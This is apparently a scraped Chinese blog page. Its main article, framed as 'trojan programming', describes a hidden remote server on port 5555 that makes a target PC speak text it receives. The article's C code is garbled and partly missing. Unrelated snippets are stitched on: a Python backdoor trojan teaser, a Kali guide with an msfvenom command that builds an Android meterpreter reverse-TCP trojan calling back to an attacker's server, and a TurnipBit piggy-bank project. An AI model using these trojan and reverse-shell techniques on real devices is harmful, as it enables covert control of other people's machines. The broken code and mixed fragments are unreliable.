木馬程式設計diy之文字語音
冷風 德州科技職業學院
在黑防的第2期上天涯衰草(是電腦報上黑客營的老大吧呵呵)對「壽鼠」遠端控制程式進行了介紹,其中有乙個
功能就是「跟對方講英語」感覺很有意思,就試著自己做了乙個發現也不是太難,效果如圖1所示
程式在vc6.0+win2000下編寫分為服務端(sdk)和客戶端兩個檔案,在其它機器的執行服務端後,就可以通過客戶端讓它「說話」了,如果目標
位址為空的話,會在自己的電腦上朗讀。
關於文字語音
壽鼠的朗讀功能就是通過文字語音實現的,文字語音又稱為tts(text-to-speech)它的作用就是把文字轉化為語音,如果我們想
開發這種程式,需要使用軟提供的軟體開發包microsoft speech sdk,目前使用最為廣泛的版本是5.1,這個包大小在65m左右在
很方便的做出自己的程式了。
準備工作
在開始前應該把microsoft speech sdk安裝好,裝好後進入安裝目錄把include和lib目錄中的標頭檔案與庫檔案複製到vc的開發目錄裡面
我這裡是c:/microsoft visual studio/vc98/include跟lib目錄,當然你也可以在vc中設定路徑(我喜歡直接複製過去)現在就可
以編寫程式了
服務端編寫
服務端執行後就一直在5555埠監聽,收到資料就讀出來,實現**如下
#include
<
sapi.h
>
//tts所需要的標頭檔案
#include
<
windows.h
>
#include
<
winsock.h
>
#pragma
comment(lib,"ws2_32")
//載入庫函式
const
intbuffer_len
=2048
;int
apientrywinmain(hinstancehinstance,
hinstancehprevinstance,
lpstrlpcmdline,
intncmdshow)
//獲取ispvoice介面
hresulthr
=cocreateinstance(clsid_spvoice,null,clsctx_all,iid_ispvoice,(
void**)
&pvoice);
if(succeeded(hr))
couninitialize();
//釋放
}else
break;//
接受資料為0退出}}
closesocket(server);
closesocket(client);
wsacleanup();
return0;
}
實現**挺簡單的,需要注意的是在
pvoice->speak(const wchar *pwcs,dword dwflags,ulong *pulstreamnumber);中pwcs是wchar型別的也就是unicode編碼
所以從網路收到資料後要進行unicode轉換,編碼轉換可以用multibytetowidechar api來實現,這是乙個很好用的api看看上文
的**就會用了。
客戶端實現
客戶端實現同樣很簡單,所以我就不再浪費感情了呵呵
cmydlg::onok()
...else
//把資料傳送至目標
...的幫助文件,
python socket程式設計製作後門木馬(原創)
懶得解釋怎麼寫出來的,直接上 client 簡單連線伺服器 server 單執行緒,長久監聽服務,長連線,會話先進先出排隊原則 server 多執行緒,長久監聽服務,長連線,同步處理會話 backdoor 結合命令執行製作後門木馬 正向 usr bin python coding utf 8 imp...
Kali之安卓木馬
進入 進入 msfvenom p android meterpreter reverse tcp lhost 伺服器的ip 上面ping伺服器得到的ip lport 34611 上面伺服器的埠號 r root apk.apk34611是設定的埠,顯示這個說明已經生成木馬成功了,如圖 6.啟動msf。...
TurnipBit口袋程式設計計算機DIY計數存錢罐
下面使用turnipbit開發板自己製作了乙個計數存錢罐,不光能存錢,還能計數,還能顯示存了多少錢,分享出來給大家交流學習一下。實物成品如下圖 這個計數存錢罐主要原理就是利用了硬幣可以導電的基本特性。在盒子放入硬幣的入口處設定乙個略小於硬幣厚度的金屬夾片,分別連線io口和gnd,這樣在有硬幣投入的時...